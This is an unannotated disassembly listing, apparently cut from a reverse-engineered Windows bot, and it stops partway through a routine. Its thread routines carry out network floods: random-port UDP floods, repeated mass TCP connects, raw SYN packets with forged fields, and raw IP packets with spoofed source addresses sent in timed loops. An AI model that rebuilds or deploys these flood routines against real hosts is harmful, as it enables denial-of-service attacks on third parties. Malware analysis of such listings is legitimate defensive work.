		push	offset dword_41F25C
		push	eax
		call	sub_40EE10
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_405E0F
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_4084CC
		add	esp, 14h


loc_405E0F:				; CODE XREF: sub_405CA0+14Dj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_407A4E
		push	[ebp+var_30]
		call	sub_40E4F2
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_41A084	; ExitThread
sub_405CA0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405E2C	proc near		; DATA XREF: sub_40997B+2EFAo

var_10312	= byte ptr -10312h
var_10310	= byte ptr -10310h
var_334		= byte ptr -334h
var_134		= dword	ptr -134h
var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10310h
		call	sub_40EC80
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		push	1
		pop	esi
		mov	[eax+120h], esi
		call	dword_41A090	; GetTickCount
		push	eax
		call	sub_41018E
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_427394	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_40E800
		add	esp, 0Ch
		lea	eax, [ebp+var_B0]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_427354	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_405F11
		lea	eax, [ebp+var_B0]
		push	eax
		call	dword_427398	; gethostbyname
		cmp	eax, edi
		jnz	short loc_405F0A
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_41F300
		push	eax
		call	sub_40EE10
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_405EED
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_4084CC
		add	esp, 14h


loc_405EED:				; CODE XREF: sub_405E2C+9Fj
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_407A4E
		push	[ebp+var_20]
		call	sub_40E4F2
		pop	ecx
		pop	ecx
		push	esi
		call	dword_41A084	; ExitThread


loc_405F0A:				; CODE XREF: sub_405E2C+7Fj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_405F14
; ---------------------------------------------------------------------------


loc_405F11:				; CODE XREF: sub_405E2C+6Ej
		lea	eax, [ebp+arg_0]


loc_405F14:				; CODE XREF: sub_405E2C+E3j
		mov	eax, [eax]
		cmp	[ebp+var_24], edi
		mov	[ebp+var_C], eax
		jnz	short loc_405F2F
		call	sub_410198
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_405F32
; ---------------------------------------------------------------------------


loc_405F2F:				; CODE XREF: sub_405E2C+F0j
		push	[ebp+var_24]


loc_405F32:				; CODE XREF: sub_405E2C+101j
		call	dword_427314	; htons
		cmp	[ebp+var_24], esi
		mov	[ebp+var_E], ax
		jge	short loc_405F44
		mov	[ebp+var_24], esi


loc_405F44:				; CODE XREF: sub_405E2C+113j
		mov	eax, 0FFFFh
		cmp	[ebp+var_24], eax
		jle	short loc_405F51
		mov	[ebp+var_24], eax


loc_405F51:				; CODE XREF: sub_405E2C+120j
		mov	eax, [ebp+var_30]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_28], edi
		mov	[ebp+var_30], eax
		jnz	short loc_405F65
		mov	[ebp+var_28], esi


loc_405F65:				; CODE XREF: sub_405E2C+134j
		xor	esi, esi
		cmp	[ebp+var_2C], edi
		jle	short loc_405F86


loc_405F6C:				; CODE XREF: sub_405E2C+158j
		call	sub_410198
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_2C]
		mov	[ebp+esi-10311h], dl
		jl	short loc_405F6C


loc_405F86:				; CODE XREF: sub_405E2C+13Ej
					; sub_405E2C+19Cj ...
		mov	eax, [ebp+var_30]
		dec	[ebp+var_30]
		test	eax, eax
		jle	short loc_405FE5
		push	0Bh
		pop	esi


loc_405F93:				; CODE XREF: sub_405E2C+197j
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	sub_410198
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_2C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10310]
		push	eax
		push	ebx
		call	dword_427378	; sendto
		push	[ebp+var_28]
		call	dword_41A060	; Sleep
		dec	esi
		jnz	short loc_405F93
		cmp	[ebp+var_24], edi
		jnz	short loc_405F86
		call	sub_410198
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	dword_427314	; htons
		mov	[ebp+var_E], ax
		jmp	short loc_405F86
; ---------------------------------------------------------------------------


loc_405FE5:				; CODE XREF: sub_405E2C+162j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_41F2C8
		push	eax
		call	sub_40EE10
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_406025
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_4084CC
		add	esp, 14h


loc_406025:				; CODE XREF: sub_405E2C+1D7j
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_407A4E
		push	[ebp+var_20]
		call	sub_40E4F2
		pop	ecx
		pop	ecx
		push	edi
		call	dword_41A084	; ExitThread
sub_405E2C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406042	proc near		; DATA XREF: sub_40997B+1922o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4061A3
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_41F334
		push	eax
		call	sub_40EE10
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_4060C2
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_4084CC
		add	esp, 14h


loc_4060C2:				; CODE XREF: sub_406042+5Ej
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_407A4E
		push	[ebp+var_10]
		call	sub_40E4F2
		pop	ecx
		pop	ecx
		push	esi
		call	dword_41A084	; ExitThread
		pop	edi
		pop	esi
sub_406042	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4060E1	proc near		; CODE XREF: sub_4061A3+27p

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_40E800
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_427314	; htons
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_40619F
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_40612C:				; CODE XREF: sub_4060E1+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_406134:				; CODE XREF: sub_4060E1+7Aj
		push	0
		push	1
		push	2
		call	dword_41A1C4	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_406157
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		call	dword_41A1A0	; ioctlsocket


loc_406157:				; CODE XREF: sub_4060E1+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_406134
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_406165:				; CODE XREF: sub_4060E1+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	dword_41A1B8	; connect
		add	esi, 4
		dec	ebx
		jnz	short loc_406165
		push	64h
		call	dword_41A060	; Sleep
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_406189:				; CODE XREF: sub_4060E1+B4j
		push	dword ptr [esi]
		call	dword_41A1C0	; closesocket
		add	esi, 4
		dec	ebx
		jnz	short loc_406189
		dec	[ebp+arg_4]
		jnz	short loc_40612C
		pop	edi
		pop	esi
		pop	ebx


loc_40619F:				; CODE XREF: sub_4060E1+3Ej
		xor	eax, eax
		leave
		retn
sub_4060E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4061A3	proc near		; CODE XREF: sub_406042+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_404F02
		push	[esp+10h+arg_4]
		mov	edi, eax
		call	sub_40FB66
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_40FB66
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4060E1
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4061D9
		push	1
		pop	eax


loc_4061D9:				; CODE XREF: sub_4061A3+31j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
sub_4061A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4061E8	proc near		; DATA XREF: sub_40997B+363Eo

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_406539
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_41F36C
		push	eax
		call	sub_40EE10
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_406268
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_4084CC
		add	esp, 14h


loc_406268:				; CODE XREF: sub_4061E8+5Ej
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_407A4E
		push	[ebp+var_10]
		call	sub_40E4F2
		pop	ecx
		pop	ecx
		push	esi
		call	dword_41A084	; ExitThread
		pop	edi
		pop	esi
sub_4061E8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406287	proc near		; CODE XREF: sub_406539+3Cp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_42728C	; WSAStartup
		test	eax, eax
		jz	short loc_4062C7
		xor	eax, eax
		jmp	loc_406535
; ---------------------------------------------------------------------------


loc_4062C7:				; CODE XREF: sub_406287+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4273B8	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_40652D
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4272F4	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_406523
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_40E800
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_427314	; htons
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_427314	; htons
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_427314	; htons
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_427314	; htons
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	dword_41A0EC	; QueryPerformanceFrequency
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_41A000	; QueryPerformanceCounter
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_4106D0
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_4063B2:				; CODE XREF: sub_406287+25Dj
					; sub_406287+26Bj
		mov	[ebp+var_24], bx
		call	sub_410198
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_427314	; htons
		mov	[ebp+var_34], ax
		call	sub_410198
		mov	edi, eax
		shl	edi, 10h
		call	sub_410198
		or	edi, eax
		push	edi
		call	dword_427314	; htons
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_427310	; htonl
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_427314	; htons
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_40E940
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_40E940
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_404F93
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_40E940
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_40E940
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_40E800
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_404F93
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_40E940
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_427378	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4064F7
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_41A000	; QueryPerformanceCounter
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_406520
		jl	loc_4063B2
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_406520
		jmp	loc_4063B2
; ---------------------------------------------------------------------------


loc_4064F7:				; CODE XREF: sub_406287+247j
		call	dword_4272A8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_41F3A0
		push	eax
		call	sub_40EE10
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_407A4E
		add	esp, 10h
		jmp	short loc_406523
; ---------------------------------------------------------------------------


loc_406520:				; CODE XREF: sub_406287+25Bj
					; sub_406287+269j
		mov	ebx, [ebp+arg_8]


loc_406523:				; CODE XREF: sub_406287+78j
					; sub_406287+297j
		push	[ebp+var_C]
		call	dword_4273AC	; closesocket
		pop	esi


loc_40652D:				; CODE XREF: sub_406287+5Bj
		call	dword_427274	; WSACleanup
		mov	eax, ebx


loc_406535:				; CODE XREF: sub_406287+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_406287	endp


; =============== S U B	R O U T	I N E =======================================



sub_406539	proc near		; CODE XREF: sub_4061E8+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_404F02
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_40FB66
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_40FB66
		mov	edi, eax
		call	sub_410198
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_406287
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_406584
		push	1
		pop	eax


loc_406584:				; CODE XREF: sub_406539+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_406539	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406593	proc near		; DATA XREF: sub_40997B+390Eo

var_394		= byte ptr -394h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 394h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	65h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_194]
		rep movsd
		mov	dword ptr [eax+190h], 1
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_40FB66
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	dword_427354	; inet_addr
		push	eax
		call	sub_406636
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_394]
		push	offset dword_41F3C8
		push	eax
		call	sub_40EE10
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_406617
		push	esi
		lea	eax, [ebp+var_394]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_194]
		call	sub_4084CC
		add	esp, 14h


loc_406617:				; CODE XREF: sub_406593+62j
		lea	eax, [ebp+var_394]
		push	eax
		call	sub_407A4E
		push	[ebp+var_10]
		call	sub_40E4F2
		pop	ecx
		pop	ecx
		push	esi
		call	dword_41A084	; ExitThread
		pop	edi
		pop	esi
sub_406593	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406636	proc near		; CODE XREF: sub_406593+41p

var_98		= word ptr -98h
var_96		= word ptr -96h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ecx
		and	[ebp+var_88], 0
		push	4
		and	[ebp+var_58], 0
		pop	esi
		mov	ebx, 0FFh
		push	6
		xor	eax, eax
		pop	edx
		lea	edi, [ebp+var_54]
		mov	[ebp+var_84], ecx
		mov	[ebp+var_80], 2
		mov	[ebp+var_7C], esi
		mov	[ebp+var_78], edx
		mov	[ebp+var_74], 8
		mov	[ebp+var_70], 0Ch
		mov	[ebp+var_6C], 11h
		mov	[ebp+var_68], 16h
		mov	[ebp+var_64], 29h
		mov	[ebp+var_60], 3Ah
		mov	[ebp+var_5C], ebx
		mov	[ebp+var_50], eax
		stosd
		lea	edi, [ebp+var_2C]
		mov	[ebp+var_4C], eax
		mov	[ebp+var_48], eax
		mov	[ebp+var_44], 2000h
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], edx
		mov	[ebp+var_38], 3FFFh
		mov	[ebp+var_34], ecx
		mov	[ebp+var_30], eax
		mov	[ebp+var_28], ecx
		stosd
		mov	edi, 100h
		push	edi
		call	sub_40F7B5
		pop	ecx
		mov	[ebp+var_4], eax
		push	edi
		push	eax
		call	dword_427328	; gethostname
		push	[ebp+var_4]
		call	dword_427398	; gethostbyname
		mov	eax, [eax+0Ch]
		push	ebx
		push	3
		push	2
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		call	dword_427394	; socket
		lea	ecx, [ebp+var_28]
		push	esi
		push	ecx
		push	2
		push	0
		push	eax
		mov	[ebp+var_4], eax
		call	dword_4272F4	; setsockopt
		mov	esi, 200h
		push	esi
		call	sub_40E882
		mov	edi, dword_41A090
		pop	ecx
		mov	[ebp+var_8], eax
		call	edi	; GetTickCount
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		push	29Ah
		mov	[ebp+var_94], eax
		mov	[ebp+var_98], 2
		call	dword_427314	; htons
		mov	[ebp+var_96], ax


loc_406751:				; CODE XREF: sub_406636+1FCj
		call	edi	; GetTickCount
		sub	eax, [ebp+var_10]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	loc_406837
		call	sub_410198
		cdq
		mov	ecx, ebx
		idiv	ecx
		mov	eax, [ebp+var_C]
		and	eax, 0FFFFFFh
		shl	edx, 18h
		or	edx, eax
		mov	[ebp+var_C], edx
		call	sub_410198
		cdq
		mov	ecx, ebx
		idiv	ecx
		mov	[ebp+var_54], edx
		call	sub_410198
		cdq
		mov	ecx, 1FA4h
		mov	[ebp+var_24], 45h
		idiv	ecx
		mov	[ebp+var_23], 4
		mov	[ebp+var_2C], edx
		call	sub_410198
		mov	[ebp+var_20], ax
		call	sub_410198
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	ax, word ptr [ebp+edx*4+var_50]
		push	eax
		call	dword_427314	; htons
		push	esi
		mov	[ebp+var_1E], ax
		call	dword_427314	; htons
		mov	[ebp+var_22], ax
		mov	[ebp+var_1C], bl
		call	sub_410198
		push	0Eh
		cdq
		pop	ecx
		idiv	ecx
		push	14h
		mov	al, byte ptr [ebp+edx*4+var_88]
		mov	[ebp+var_1B], al
		mov	eax, [ebp+var_C]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_404F93
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_24]
		push	14h
		push	eax
		push	[ebp+var_8]
		call	sub_40E940
		add	esp, 14h
		lea	eax, [ebp+var_98]
		push	10h
		push	eax
		push	0
		push	esi
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	dword_427378	; sendto
		jmp	loc_406751
; ---------------------------------------------------------------------------


loc_406837:				; CODE XREF: sub_406636+12Cj
		push	[ebp+var_8]
		call	sub_40ECAF
		pop	ecx
		push	[ebp+var_4]
		call	dword_4273AC	; closesocket
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406636	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406851	proc near		; DATA XREF: sub_40997B+374Co

var_494		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		call	dword_41A090	; GetTickCount
		push	eax
		call	sub_41018E
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_406C3D
		add	esp, 14h
		push	eax
		lea	eax, [ebp+var_494]
		push	offset dword_41F3F0
		push	eax
		call	sub_40EE10
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_4068E4
		push	esi
		lea	eax, [ebp+var_494]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_4084CC
		add	esp, 14h


loc_4068E4:				; CODE XREF: sub_406851+71j
		lea	eax, [ebp+var_494]
		push	eax
		call	sub_407A4E
		push	[ebp+var_290]
		call	sub_40E4F2
		pop	ecx
		pop	ecx
		push	esi
		call	dword_41A084	; ExitThread
		pop	edi
		pop	esi
sub_406851	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406906	proc near		; CODE XREF: sub_406C3D+40p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
